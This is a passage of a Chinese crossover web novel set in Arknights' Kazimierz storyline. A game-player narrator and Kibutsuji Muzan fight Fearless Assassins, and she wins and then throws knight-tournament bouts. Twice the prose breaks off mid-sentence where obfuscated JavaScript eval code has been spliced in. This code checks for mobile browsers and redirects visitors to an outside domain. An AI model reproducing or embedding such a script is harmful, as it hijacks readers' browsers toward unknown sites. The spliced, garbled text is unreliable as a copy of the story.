直到最后,街上滚作一团无力起身的杀手中混着几个永远不会再起来的。 我甩掉【八房】上的血,收刀入鞘。 大概也只是因为知道了对面是无胄盟的杀手,所以才能这么无所顾忌,毕竟他们可是奔着杀我的目标来的。 还好都是无胄盟的人。 我看向鬼舞辻无惨,他看着我的眼中有几分赞许。 又一次,我对他微笑起来。 25. 第 25 章 鬼舞辻无惨看向我的双眼中透露着些许欣赏。 当然更多的是某种微妙的情绪,像是满意,但更多的还有一份审视,这种感觉我似乎在自己学生时代参加某些比赛时从评委眼中看到过。 呃,这么形容还是有点怪,但我大概能感觉到他已经给我刚才处理无胄盟杀手的行动做好评价了,或许这个评价会影响我们之后很长一段时间的关系。 既然能看出来他情绪不错,就说明我做的还行,反正我也不是不知道他把我当成什么,就目前而言,问题不大。 至少我觉得问题不大。 “直接去赛场吧,耽误了这会,比赛都快开始了。”我挑了几个彻底断气的无胄盟杀手,将长太刀刺入他们的胸膛,“场外还会有杀手拦截,除了那个领头的银发小天马,其他的都随意。” 我寻思应该那边只有白金是不能伤到的,毕竟是游戏内实装的干员,简单来讲就是还得上岛呢。更何况这种开服角色也是一手带我长大的几个干员之一。 帝具「死者行军·八房」,自从不知为何收入我的装备栏后,此刻是第一次发挥它真正的用途——操控尸体傀儡。 被「八房」刺中的杀手尸体周身裹上黑紫色的能量,在帝具的能力下重新站起。刚才的战斗中我没有太留意完好度,所以他们身上也或多或少有残缺,这样想还有点惭愧……不,我绝对不会像黑瞳那样把尸体傀儡当作家人和朋友,所以我也不需要惭愧。 只是想起来就顺便拿来用了,也算给自己这边增加战斗力嘛。尽管尸体傀儡这种东西不好拿去竞技赛场给人看,但在场外拖住无胄盟的小兵还是足够了。 鬼舞辻无惨走过来打量着我用帝具造出的傀儡,瞥了我一眼:“你该不会想让我来帮你处理那些骑士杀手吧?” “嗯,对,因为你帮我报了名,所以我现在是骑士了,看我的表演赛要交门票。”我收起「八房」对他眨眨眼,因为感觉他的心情不差,所以就和他开了个玩笑。 他要是真的不愿意帮的话我倒也略通一些拳脚——指的是打无胄盟。 他一句话都没说,不过没有拒绝就算是答应了。 紧赶慢赶,来到骑士竞技赛场外的时候,已经能隐约听见场内传来大嘴莫布的解说了。听那些解说词,玛莉娅现在的状况很是不妙,被迫迎战凋零和腐败两个萨卡兹骑士的小天马处处被压制,连能给自己治疗的法术都无法顺利施展。 卡西米尔的剧情重头戏还在后面,所以即便一会有天降玛嘉烈来救场,现在我也要做些什么,就当刷好感了。 赛场外围着十数名无胄盟杀手,装备看着比之前街上伪装成骑士粉丝来找麻烦的要精良,而带领他们的便是白金大位——欣特莱雅。 “唉,我的任务是阻挡一切想进入赛场的目标,所以我不能让你进去。”无胄盟的刺客仍躲在暗处的阴影里,入口前只站了白金一人,她神色慵懒、语气散漫,几乎就要把不想工作几个字写在脸上了。 她的目光透过我似有似无地落在鬼舞辻无惨身上,大约是在猜测他的种族。如果真的能有那种以为他是危险的血魔就睁只眼闭只眼放我们进去的情节就好了,可惜,白金似乎是确认了他并非血魔。 难道无惨和血魔的差别还是很大?若真是无法让他伪装成血魔的话,那一会说什么也要让他拟态出一点泰拉人的特征。 暂时没空走神了,我迎着白金戒备的视线走上前,手上攥紧未收入道具栏的太刀「八房」,微笑着问她:“可我是选手哦,就是小玛莉娅这场比赛的搭档,没有我的话,她会打得很辛苦,骑士竞技也没规定过迟到一点点的选手不能入场吧?” “很抱歉,场内的比赛大概已经改为单人参赛了。”白金抽出一支箭搭在弓上,手指扣在弓弦上做好随时拉弓射出这一箭的准备,“我们各自都不要给各自添麻烦好吗?我今天的任务也不是非得杀死你们。” 我听见身旁的无惨低低地嗤笑了一声。 其实我也有点想笑,但原因主要是一些在我来之前大概就被白金说给无胄盟杀手们听过的话。总之,白金的实力并不是需要担心的存在,她当然是因为不希望工作太麻烦,才真假掺半地撑起架子来,好减轻自己的压力。 她不想在无胄盟干了,早就不太想了,这我知道,毕竟我是站在高于泰拉的位面看故事的游戏玩家。欣特莱雅原本是想找点轻松的、能自己做主的工作,却阴差阳错地总是弄到自己不情愿又抽不出身的地步,最后脱离无胄盟的时候也被追杀,若非遇到罗德岛的精英干员,她怕是成为卡西米尔荒原上的无名尸体。 所以有没有可能在这里就助长她的跳槽意愿? 她拉起弓,弓弦紧绷,随时都能将箭矢射出。这么近的距离,她如果真的动了杀心,的确不太好挡下这一箭。我抽出太刀摆好架势,紧盯住那支箭头。“欣特莱雅,无胄盟给你多少,值得你这么卖命?如果今天来这里的真是玛恩纳,你不会有说这么多话的机会。” 这算一招险棋,但或许,也可以成为突破口。 「死者行军·八房」的能力发动,八具无胄盟杀手制成的傀儡破土而出。 白金听见我说出她的名字,又看见横空多出的八具尸体,拉弓的手指僵了僵,但没有接我的话。 “我倒是知道一份工作,日程轻松,资金丰富,不用被迫做一些自己不想做的事,想离职也不用担心性命安全。”我不动声色地从系统商店里买了一块技能石,感受到衣服口袋多出来的重量,我心底有了更多把握,便继续说下去,“比起无胄盟,罗德岛绝对是最佳雇主,也能保护你后续不被无胄盟追杀。” “或许你也只是为了活命,捏造了一些东西,好让我分心。事实上你们都不用这么费力啊,我的工作目标和你们的性命不冲突,为什么就不能各退一步呢?”银发的库兰塔少女面色不变,呼吸的幅度却增大了些许。 她对暗处的什么人吩咐了一句,我才注意到身后还有两人赶来了赛场,是老工匠科瓦尔和老征战骑士弗格瓦尔德,玛莉娅熟识的两位老先生,得知商业联合会为她准备的阴谋后也赶来赛场准备杀进去救玛莉娅。 我猜白金大约是吩咐了暗处的其他无胄盟杀手盯紧那两个人,相比未曾出现在档案内的我和无惨,科瓦尔和老弗的信息对无胄盟来说不算什么秘密,但她确实也将这里最强的自己放在我们这边了,看来也是明白未知才藏着更大的危险。 但我想我真的不用太忌惮她,用游戏术语来解释的话,她到底只是个高台狙击干员,攻击速度快精度高,但相对的防御类的承伤能力弱些,换句话说就算她的箭真的又快又准,避开致命处直接攻向她就能突破这里。 这个道理白金怎会不懂?所以将暗处的杀手调去应对后来的两人后,她也依然没有动手的意思。 赛场内欢呼的声浪一阵高过一阵,负责解说的大嘴莫布开始提起想为玛莉娅加油的话可以给某个账号打钱汇款,或许能为她带去鼓舞。 如果白金的态度依然坚决,那就直接使用技能石一路冲进去,我是这么想的。我完全相信鬼舞辻无惨在卡西米尔没什么对手,至少我也拜托过他别伤及白金的性命,只要一路冲进去,赶在技能时间结束前打一波伤害就行。 但无惨的耐心消耗得更快。 我只听见他对我说了句“你在磨蹭什么”,随后感觉身下一轻,我整个人又飞了出去。 不是哥们! 仔细回忆这一切,或许我在《斩·赤红之瞳》的世界里就不该跟他说这种可以把我扔出去的方法,而且现在我总有预感,相同的经历以后绝不会少。 好处也是有的,我直接从赛场观众席上方越过,这么出场绝对能引爆所有焦点,更能让下方乘胜追击的凋零和腐败二人大吃一惊。 好吧,这样想也不错。 我感到重力的控制逐渐回归,我从赛场上空向下坠落,摸出口袋中的技能石攥紧,召出早已想好在这里使用的技能。 刀刃迅速染上一层烈焰,炽热的火焰包裹住整把太刀,也顺着我握住太刀的手一路攀向上,几乎让我整个人也被点燃起来。奇异的是,身处烈火内焰的我自己并没有感到太多的灼烧感,仿佛这些火生来就与我同源。 刀面烧至赤红,我将其向下投去,燃着烈火的刀直直刺入地面,火舌卷向四周,逼退了提着重锤上前要追击玛莉娅的腐败骑士。 场内的喧闹声戛然而止,下一秒我落在地上。 有了上一次的经验,这次落地之前我就调整好了姿势,将钙质的防护集中在下半身和脚底,让自己的骨头不至于被冲散。 【钙质化】本就是《明日方舟》中的技能,使用者又是大名鼎鼎的莱茵生命防卫科主任塞雷娅,这种个人风格明显的能力不太会有另一个相同的例子,所以我必须减少被人注意到自己使用这个技能的可能性。同样,所有的源石技艺都必须谨慎使用,尤其是知名人士的独有技能。 而至于我现在使用的这招嘛,因为使用者在卡西米尔没那么出名,所以大概不会有问题吧。而且我都把大部分法术能量转移到了「八房」上,这些观众只会以为那是我自己的法术。 我站直身子抽出插在地上的「八房」,刀上和身上的火焰都燃烧不止,整个人由内向外感到源源不断的热意。我瞥了眼身后略有些惊讶的玛莉娅·临光,语气轻松地向她打了招呼:“抱歉来晚了,玛莉娅小姐,路上有点小麻烦,现在好像正是需要我的时候啊。” 比玛莉娅的回答先一步到来的是大嘴莫布兴奋的解说。 “突发状况!从天而降直接闯入赛场的这位,虽然各位女士们先生们可能不认识她,但我们的资料显示,她就是原本与这位临光搭档的选手!哦天哪,这算违规吗……管不了那么多了!姗姗来迟救场的、全身燃着火焰的骑士!能否从两位凶悍的对手手下杀出一条路,让我们拭目以待!” 真的好吵。 耳朵自动隔绝一下大嘴莫布喋喋不休的夸张修辞,我反手握住太刀再一次将其插入地面,烈火也随着我的动作自土中的裂缝喷涌,火星洒在腐败骑士的身上令他吃痛后退,却怎样也拍不灭,反有愈烧愈旺的势头。 怎么会轻易被拍灭呢?毕竟这可是…… “一个,都别想逃!”刀上烈火不断喷涌着热意,我干脆重新拿起太刀向腐败骑士冲去,劈砍在那身厚重的装甲上,也砍出一道深可见骨的伤口。 【黄昏】,小子,你史尔特尔奶奶来了。 落入下风的萨卡兹双子骑士终于对我这突如其来的对手忍无可忍,两人双双怒吼,凋零骑士拉弓向我射击,而腐败骑士也高高跃起,要将重锤砸下来。 场上腐烂的气味扑鼻,那是这两个萨卡兹骑士被当作竞技工具,得不到良好的生活环境、却又不断用药刺激增强实力导致的,若非如此,萨卡兹在卡西米尔也得不到什么好地位。 带着法术的箭矢刺入我的肩膀,紫色的法术爆开,右肩一片皮开肉绽,但我身上的火焰燃去了对方法术的后续伤害,也驱散了即将染上来的腐烂气息。 炽热的烈火所到之处,没有任何人能阻挡。只是时间一分一秒过去后,那种与火焰同源的热意开始逐渐变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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好在剧情的锚点走到了它固定的轨迹上,又是一个空降入场,战锤击退两名萨卡兹骑士,随后玛嘉烈·临光本人以无比高调的方式宣告:她重新回到了卡西米尔。 说起来原本剧情应该是玛嘉烈补上玛莉娅缺失的搭档之位,与她完成双人赛,即便不算合规,却因无胄盟陷害在先,这个中途入场的插曲也不了了之。但现在我代替远牙成为了玛莉娅的搭档,而临光还是来到了赛场上…… 我是不是应该自己收拾一下退场了? 其实也不等我自行离开,这场比赛就提前结束了,我先前拿【黄昏】输出的那几下还是对敌方的两名骑士造成不小的伤害,本就不是玛嘉烈对手的他们更无力迎战状态大好的耀骑士。 待闪灵与夜莺也进入到赛场中,无视了观众席上沸腾的人群与身后开始撤离的无胄盟杀手,对倒地的凋零和腐败骑士进行了治疗。身为赦罪师的闪灵所使用的治疗法术也被同为萨卡兹的两名骑士认出,更遭到了激烈的抗拒。 看来是真的得走了,现在还不是参与萨卡兹那条主线剧情的时候,若对方是赦罪师的话,我也没把握自己的伪装能精妙到不被她识破。 离开前我向玛莉娅打了个招呼,她大大方方地邀请我下次去光头马丁的酒馆坐坐,我点头答应,余光瞥见不紧不慢从赛场大门走进来的鬼舞辻无惨。 无惨脚步很快,我只是接过玛莉娅递来的帕子擦掉脸上抹开的血迹的这点功夫,他便已经来到了我身后。轻而快的步伐让周围的其他人几乎都没注意到他,我也第一次发现,他居然还挺善于潜行。 “我原本以为你是那种把目击者统统杀死就算潜入成功的类型。”我压低声音对他说了句,他问我这话什么意思,我想了想说就当我在夸他也有刺客天赋。 听出我话里没什么好意思的无惨白了我一眼,简短地说了“要走就赶紧走”便转身向来时的方向走,大约是顺手,他扯上了一根毛绒的长条物件。 一根,尾巴。 四周安静下来的时候我和鬼舞辻无惨面面相觑,身后玛莉娅投来困惑的目光,我回头朝她笑笑挡住些无惨,告诉她自己先走一步,随后再重新看向松开手指的无惨。 如果真的没有记错的话,刚才那声异常微妙的惊呼好像是从我口中发出的,那声有些微妙地像猫科动物叫声的惊呼。 “你……” “我……”我冲他尬笑,推着他先向外走,“所以说不要随便扯猫尾巴啦。” 今天的泰拉人种族小盲盒开出来的是菲林,这片大地上最常见的种族之一,长有细绒的尾巴方才就一直在我身后摇摆,完全脱离在我有意识的操控以外。而鬼舞辻无惨,他拉着我走的时候就扯上了那根尾巴,尽管我没有感到过分不适的感觉,但口中仍是下意识地叫出了声。 我又想起昨日和他争论狼和狗的区别,心说真是受够了这种源自动物的种族本能。 但我还是不争气地控制尾巴重新绕上他的手腕了,在离开赛场回到酒店套房之后,算是一种莫名其妙的讨好和赔罪。 这时反倒是无惨对这毛茸茸的东西开始反感,挥手从细长的猫尾绕成的圈中抽出,又打开尾巴让我一边待着去。“真想当猫就自己买个家具自己去玩。”他丢给我一本家居装潢杂志,摊开的那页上赫然放着一张菲林爬架的宣传照。 我居然,真的对这玩意有些心动! “咳……言归正传,前一段剧情是结束了,大概是因为中途加入,也没有发挥太关键的作用,系统好像没给任务结算的分数奖励。” 若真是这样那就有些损失最大化了,好歹也随便发点能用的道具嘛。 “在后面的剧情正式开始之前,可以再去打几场骑士竞技比赛,赚够了积分才能晋级特锦赛,希望后面几天每天打一场两场的能来得及。” 【任务《玛莉娅·临光》无法计入已完成任务,暂无法提供积分奖励】 得,还真是这样。 【卡西米尔地区区域任务阶段奖励:罗德岛制热水壶×1】 鬼舞辻无惨没说话,定定地凝视着我。 我也说不出话来。 闹哪样啊? 26. 第 26 章 “什么东西啊!” 看见系统奖励的热水壶,我实在没忍住捶了一下桌子。 【热水壶,可使目标生命+1,希望+……】 “要的不是这个!”我在系统把热水壶作为集成战略藏品道具的功能解释一遍之前打断了它,尽管这个沉甸甸的玩意已经被捧在我手中了,“为什么是热水壶……” 【作为必要道具赠送给玩家】 真是听君一席话如听一席话啊。 所以说为什么是热水壶呢,总不能是系统给我暗中传达多吃泡面的旨意。 鬼舞辻无惨已经不想理我了,可能更多的是不想理系统,但他拒绝了我把热水壶展示给他看的意图。说起来这种东西他之前应该已经看过了,又不是泰拉特有的科技树产物,他也不喝热水不吃速食产品…… 我绝望地把热水壶丢进了道具储藏空间。 离特锦赛开始还有些时间,这段日子我也不可能闲着,参加特锦赛需要累积足够的积分。玛嘉烈因为和玛莉娅同为一家人,妹妹能将前期积分转让给姐姐,来实现耀骑士在赛场上的回归,但我就得自己打比赛赚积分了。 每天都参加,必要时甚至多参加一些多人混战的比赛项目,虽然我没有精进过竞技骑士的剑术和战法,但有「八房」在手,再通过不引人注目的方式偶尔用【钙质化】为自己强化,打赢比赛还是不难的。 我又不是临光家的人,遇到的对手自然是不会像游戏剧情里那样次次都是大难题,只是无胄盟杀手的尸体仍是不好展露给观众,现在也没理由公开和商业联合会作对,所以那些尸体傀儡都被我替换成了钳兽。 长相和现实中的螃蟹相似,体型接近小型犬,外壳质地坚硬的钳兽,在游戏关卡内是不难对付的普通小怪。不过在泰拉,一般人没有工具武器确实容易被这种生物伤到,卡西米尔的部分地下竞技场内也会被训练来和感染者骑士对战。 借着之前与红松骑士团相遇的缘分,我在玛嘉烈回归那日又去找了一下焰尾骑士索娜,帮忙清理了一下感染者聚居地块,这些钳兽也都是那里来的。放着它们不管可能会攻击生活在那的感染者,正好我将它们做成傀儡,也能在赛场上搞出一支钳兽大军——如果八只钳兽能算大军的话。 “今日比赛的胜利——属于这位‘幻骑士’!这位传奇的女士不负众望地带给我们一场精彩的比赛!”大嘴莫布的声音回荡在赛场上空,钳兽们各自爬回我身边,钻回土层下方消失不见。我的行事风格一直不算高调,所以直到现在也没有遇到过刻意针对我的情况,我也就这么顺风顺水地攒攒积分打打比赛,再拉着鬼舞辻无惨满大骑士领跑。 说到这个“幻骑士”,喊的的确是我,虽然并非骑士封号。 我在卡西米尔骑士竞技出道的时间不长,也没什么深厚的家族背景,封号这种东西自然与我无缘,不过每天使用泰拉种族小盲盒变成不同的样子去参加比赛,时间长了也就有了这个类似粉丝爱称的民间封号——因为每日都是不同的种族,所以无法确定我究竟是什么人,传闻也有说我或许是神民或先民的后代,总之,就叫幻骑士吧。 一开始我还以为会有人对我的外貌感到奇怪,结果卡西米尔人对选手的接受度比我想象中还要高。想来这里轮番登场过各种类型的选手,像黑骑士那样不使用一点法术的莱塔尼亚人都能拿下冠军,骑士竞技的观众也不会多想选手的身份背景。 到底是娱乐活动,只要博人眼球,有足够精彩的比赛,谁又会在意细节? 我甩了甩身后粗壮的尾巴,今天盲盒开出来的种族是阿达克利斯,第一次体会到鳄鱼的尾巴有多重,拖着这样一条大尾巴走路蹦跳都实在是有些困难。 甚至我本来也不想以这个姿态外出的,可第一瓶盲盒药剂完全浪费了,因为第一次的尝试结果是萨科塔。 第一次的尝试,我头上赫然亮起一圈光环,背后也多出几片光翼。鬼舞辻无惨看见这幅光景先是露出惊讶的神情,随后又嘲讽地笑出了声,说:“你在模仿什么神话吗?还是说你打算去哪里探险,将自己当作光源?” “想笑就笑吧。”我撇撇嘴重新购买了一瓶盲盒药剂,补充道,“但建议你遇到这里土生土长的这种人的时候,别和他们接触太多。” 我将自己盲盒开出的萨科塔拟态刷掉的一个重要原因也是在此,这个种族的未知实在太多,也实在太深奥,赫然出现在骑士竞技中只会引起更多怀疑,甚至可能引来拉特兰的调查,那样就不好了。 “长得像天使对吧?这里的天使和这个世界本质的秘密相关,具体的我也说不清楚,所以我是真心建议,小心长这样的人。”光环消失前,我指了指头顶。 “天使?”无惨复读了一遍这个词,咬字有些重,“只有人类会相信世界上存在神明,还有所谓‘神的使者’,这里的也就是长着光环和翅膀的人类,还是说你想告诉我,他们有什么稀奇之处。” “是人类,也是货真价实的天使。只不过这里的天使可都是从‘恶魔’变来的,这涉及到泰拉的历史,你有兴趣的话之后再和你细说。”我告诉他别太招惹那些萨科塔,他们的思维模式和普通人不一样,万一真的惹到哪个固执的,指令被传达到中枢引起全体萨科塔追杀也不是没可能。 其实我也不清楚自己说的这些是否完全准确,只是根据我目前的了解做的一些猜测,不过担心无惨引起泰拉某支势力注意这事也是不假;我尚且是普通人类,现在还混了点泰拉人的血统,但按照《明日方舟》的剧情设定……我一直在想,鬼舞辻无惨和萨卡兹是否更加接近,比普通人类更接近。 提卡兹是这个世界最古老的种族,也是血脉基因上最接近早已覆灭的前代文明人类的种族,因为源石的影响而变成了不同于原本“人类”定义的样子。如果把血鬼术看作某种源石技艺,把无惨的血看作源石的影响,如此类比之下或许无惨真的和古老萨卡兹的血脉极近。 尽管这几天开玩笑说他可以装作萨卡兹中的血魔,但我确实也担心他真被认作萨卡兹后带来一系列不可预估的后果,又或者是真的有萨卡兹发现他…… 当然没什么人能伤到他,我担心的是影响游戏原本主线剧情的可能性。这脆弱的泰拉文明宛若走钢丝一般维持着微妙的平衡,也一点点艰难前行着,我担心任何一种额外因素都会将这里的文明推向毁灭。 还好《长夜临光》和主线剧情的紧密度没有那么高,但这个时间维多利亚的阴云已经在凝聚了,过完这次剧情差不多得马上离开。 解说席上的大嘴莫布还在为今天的比赛做着总结。 “这位‘幻骑士’,或者‘钳兽骑士’——总之都是各位观众朋友们为喜欢的选手起的爱称,我们也期待她拿到骑士封号后会从这二者中选择一个——她今天为我们带来了精彩的比赛,作为今年骑士竞技的一匹黑马,正在快速积累着积分。让我们一起期待一下,姗姗来迟的她能否攒够积分,闯入特锦赛!” 对,钳兽骑士也是观众自发喊的,这个称呼的热度近几日有高过“幻骑士”的势头,是我每次比赛都会召唤出的八只钳兽。 尽管骑士封号很中二会很羞耻,但我还是更希望有个正经帅气的封号,而不是钳兽…… 算算这个时候罗德岛应该已经到达卡西米尔,准备与监正会商谈感染者所需药剂的事务;这趟罗德岛来的人不多,只有博士和阿米娅,想见到他们应该不难,毕竟监正会为他们安排的住所大概率也在这所酒店。 只是这种酒店对客人的隐私保密也十分严格,我是不可能从前台问到名为罗德岛的医药公司人员所住套房的门牌号,一间间敲门试探就更蠢了,眼下只能等了。等到《长夜临光》剧情的后期,一定能在酒店外的严肃场合遇到博士和阿米娅,届时一定能了解清楚我身上到底发生了什么异变。 特锦赛的日子逐渐逼近,大骑士领路边所有商店都摆上了热门选手的周边文创产品。 我经常拖着鬼舞辻无惨去逛这些商店,起初他还愿意听我讲讲那些玩偶原型选手的故事,后来某一日他把我塞给他看的血骑士玩偶丢回给我,问我到底在搞什么。“这个世界的剧情在哪里?你最近也太闲了。”他说。 我把血骑士的玩偶放回货架上,拿下旁边不远处的黑骑士玩偶,准备去结账买下这个。 “剧情还没正式开始呢,先来逛逛商店嘛,这边可都是以参赛的骑士为原型做的周边,也不知道会不会有我的。”手上拿着黑骑士玩偶,我的目光还是忍不住在货架上找着与我相似的娃娃,“我还挺想有个自己的娃娃呢。” “是嘛,那你可以不用看了,这里不会有你的。” 我转头盯住他。“怎么说我也有点粉丝吧,我一直在努力赢比赛呢。” 无惨快速抬手指了指货架前的标牌,随后不知为何快步从我身边走开了。我看向他指的方向,标牌上赫然写着“历届冠军玩偶”——虽然是卡西米尔语,但我竟感觉自己是看得懂的,而且并非在口中读出,是脑内直接反射出了这条短语的含义。 好吧,找错地方了。 我确实不是冠军嘛,哈哈。 我快步追上他,识趣地说起正经事:“剧情确实不着急,特锦赛开始的时候剧情才算正式开始,在那之前我们都能放松放松,就当度个假嘛。” 他瞥了眼我手中的骑士玩偶,让我继续说。 “这可是《明日方舟》最有意义的一次剧情——《长夜临光》。” 短暂的沉默过后,鬼舞辻无惨的声音打破沉寂: “好难听。” “喂。” 特锦赛到了。 几日努力打比赛的收获兑现了,我的积分勉勉强强拿到了晋级特锦赛的门票。 虽说一直称自己对《长夜临光》这种名字的故事不感兴趣,但鬼舞辻无惨还是被我缠着讲了些耀骑士临光的事迹。“那你参加比赛有什么用,反正最后冠军一定属于你说的那个骑士。”他这么问过我,而我将现在的系统积分展示给了他。 扣除用以伪装成泰拉人每日外出比赛或走动所需的积分,系统界面的积分显示是450分,比先前多了几十分。 “我也是打完那次双人赛才发现,在骑士竞技中获胜有少量积分奖励,可以理解成每日任务吧。”我关掉积分面板,“虽然都是蚊子腿,如果比赛中买了技能石也会收益亏损,但商业联合会好像还没那么注意我——耀骑士可分走了他们太多的精力。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679158|173202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你总不会真蠢到认为一个来路不明、毫无背景的选手,能继续顺利下去,更别说还帮过不该帮的人。”无惨语气笃定,大约也是相信我不会做出离谱的判断。 我点点头,接着他的话说:“所以我打算在特锦赛找个机会被淘汰,之后找机会联系上罗德岛……就是那个热水壶上标识图案的公司。” 联系罗德岛,一是想弄明白我自己身上的问题,还有就是,如果以后还会来泰拉,和罗德岛搭上线有长远利益。但即便是罗德岛,也并非空口说“我要找罗德岛帮忙”就能达成合作的,我了解的信息比失忆状态的博士还多,交流中有一句没说好都会适得其反。 …… 这热水壶难道真有用? 我重新拿出热水壶,给自己烧了一壶水。 当鬼舞辻无惨投来疑惑的目光时,我对他举杯致意,告诉他多喝热水。 他又自己回房间了,还锁上了门。 我的原本计划是努力赢下一两次,若是还未有全力以对无法战胜的情况,就找机会假装落败淘汰。然而事情的发展直接打乱了我的设想,因为我在特锦赛遇到的第一位对手,就是一位熟人。 烛骑士,薇薇安娜。 优雅的埃拉菲亚女性,她站在那里,总让人觉得与骑士竞技这种野蛮的战斗活动格格不入。这场比赛被安排在晚上,想来也是为了能让观众更好观赏到她的源石技艺。 那端在她手中的烛光摇曳着,微小的烛火像是要熄灭一般,却始终晃动着燃烧着。赛场后台负责调控灯光的人很识趣地在她入场时关闭了所有照明,烛光在夜间更显得像微渺的希望。 哎呀,这就没办法了。 如果一定要战胜她的话,并非没有对策,毕竟游戏内薇薇安娜也当过敌方单位,尽管是精英怪,但仅限在活动关卡内她并不算难处理的对手。 但是……我还是干涉太多原来的剧情了吧。 “晚上好,薇薇安娜小姐,很荣幸能在今天见到有名的烛骑士。”我向她微微鞠躬行礼,抽出太刀帝具「八房」,摆出应战的姿态。 我果然是不该出现在赛场上的人,我想,若是不涉及剧情的人,我还能毫不在意地继续玩点赚积分小游戏,但薇薇安娜也是《长夜临光》剧情里的重要角色,再怎么说,我也不能抢别人的戏份。 是时候退场了。 薇薇安娜语气谦和有礼,举了举烛台向我致意:“我也早已有所耳闻您的能力、您的源石技艺,今日我也会在此向您讨教,希望我们各自都能全力而战。” “一定不会让您失望。” 但是恐怕,真的要让她失望了。 直到我离开赛场,观众席上还有些疑惑交谈的声音。今日我的表现实在有些古怪,在他人眼里大约像是没怎么发力就认输落败,颇有打假赛之疑;但赛场模拟的地面环境中还有爆炸留下的数个坑洞,那是薇薇安娜的源石技艺造成的,这些坑洞与散落在地上的钳兽碎片也让更多人相信比赛结果的真实性。 其实本来就没什么好怀疑的,烛骑士薇薇安娜不是等闲之辈,我不过是利用自己游戏玩家视角了解的信息,以及「八房」这种帝具的作弊能力才打到今天的。说起来我本来就是该走的,之后的骑士竞技,就该留给真正属于那里的、真正的骑士们。 鬼舞辻无惨等在赛场后台的休息室,他从屏幕里看完了这场比赛,自然也看出来我的表现异常,但他什么都没说。 “该去街上随便转转了,或者感染者聚居区。”我伸了个懒腰抬手搭上无惨的肩膀,他将我的手拨了下去,“特立独行自由散漫惯了,应该也会有按捺不住的杀手再出来做些什么吧。” 这里已经没必要再多做停留了,再晚些离开怕是还要被报业记者问东问西,趁现在就该提前开溜。 只是离开之前,无惨突然问了我一个问题,一个我从未预料到会从他口中说出的问题。 他思索着,问我:“来这里之后,你的情绪几乎比之前任何时候都要活跃,打这些比赛就让你这么兴奋?” 情绪高涨吗…… 我笑了笑,其实原因很好猜吧,谁换到我的立场都会兴奋的。 “大概是因为我很喜欢这里,不是说卡西米尔,我是说,我很喜欢泰拉,这个世界。” 走出竞技赛场,外面又是成片繁华的霓虹夜景,照亮了大骑士领的夜空。而在大骑士领之外,还有大片的荒原,以及更广阔的其他国家。 我实在是喜欢这里。我实在,喜欢这个孱弱又倔强的文明。 “我很喜欢这个世界,就像我喜欢你一样……这么类比好像也不太对,我还是喜欢你多一点,不过我真的很喜欢这个世界——也就是这个游戏啦。” “你喜欢的东西不少。”他评价道。 我出声否认,尽管从他脸上看见了被否认后一瞬的不快,但这句话我必须否认。 “其实也就那么点,我的心很小的。”我摇晃着头,闭上眼说着,“只是我也很喜欢,在‘喜欢’的东西上倾注自己更多的热情,只对自己喜欢的人和事这样。” 我没忍住看向他的双眼,那对红眸正看向前方一块宣传骑士竞技注册的广告。 果然,没办法不去喜欢呀。 27. 第 27 章 卡西米尔是骑士之国。 监正会与商业联合会共同管理着如今的卡西米尔,双方各自又能以征战骑士和竞技骑士为代表,前者戍守边疆、却无贵族身份,后者在城市的竞技场中拼杀、获取骑士封号。可以说,尽管征战骑士曾在卡西米尔的历史上留下辉煌,但如今的大骑士领需要的是繁华。 所以…… “事情为什么会变成这样……” 我低头险险躲过身后飞来的箭矢,一刻不敢多做停留,跑过一个路口后继续向前冲刺。 无胄盟是负责帮商业联合会做些清理工作的骑士杀手组织,我已经很久没见过他们了,在玛莉娅那场双人赛之后。 或许商业联合会在那之后确实将我暂时列为不那么要紧的目标,但今天遇到的无胄盟杀手跟那日伪装成斗殴粉丝的不同,弓箭的精准度和速度都更为棘手,很显然商业联合会对我的忍耐到了极限。 唉,其实我也不是不知道缘由啦,只是很简单的一句话:我是感染者。 尽管我除了肩膀上长出的源石结晶外,没有感到任何多余的异常,甚至不服用药物也不好感到不适——当然服用之后确实也感到身体变得轻便——但只要有这些结晶在,无论我怎么解释,泰拉的人都只会将我当作矿石病感染者。 所以原本我也是希望能藏就藏的,参加骑士竞技的时候也一直有注意不要让肩膀处的皮肤裸露出来,结果最后暴露这点的反而不在赛场内,着实有些滑稽了。 事情说回早些时候。 烛骑士薇薇安娜如愿迎战上了玛嘉烈,将后者视作肉中刺眼中钉的商业联合会自然是不愿让她始终风光胜利,而为人正直的薇薇安娜也不愿在比赛中使用“一些手段”取胜。 所以商业联合会派无胄盟的成员前去绑架玛莉娅,企图以此胁迫玛嘉烈认输。 同时,由于耀骑士和血骑士作为感染者骑士的代表,在赛场中大放异彩,大骑士领的感染者骑士为自己争求合法利益的呼声越发高涨。此事不会被商业联合会容忍,因此他们派出无胄盟清剿大骑士领内的感染者,而在感染者中颇有威望、组织救助感染者的红松骑士团便开始了对抗无胄盟的行动。 两件事撞在一起,就有了前来破坏无胄盟行动的野鬃骑士艾沃娜和赏金猎人托兰误打误撞救出被绑架的玛莉娅一事。 不过也说不上误打误撞吧,托兰身为玛恩纳的旧识,本就被拜托了暗中保护临光姐妹,以他的情报收集能力,也不难知道这次绑架的发生。 当然我也只是,路过了那附近,我保证这次真的只是路过。 不过我没赶上他们将玛莉娅从那里救出来的现场,作为一般通过路人登场的我撞见的是追杀野鬃的白金。本着红松骑士团也算朋友,能帮就帮的原则,我出手了。 上次在赛场外毕竟只是打了个照面,那时白金的任务也不包含任何需要杀死的目标,但这次我可算企图截断她的任务,她自然也会全力出击。 而其中有一支箭在擦过我身边的时候,勾破了我左肩的衣料,自然也让在场的人看见了上面的体表源石结晶。 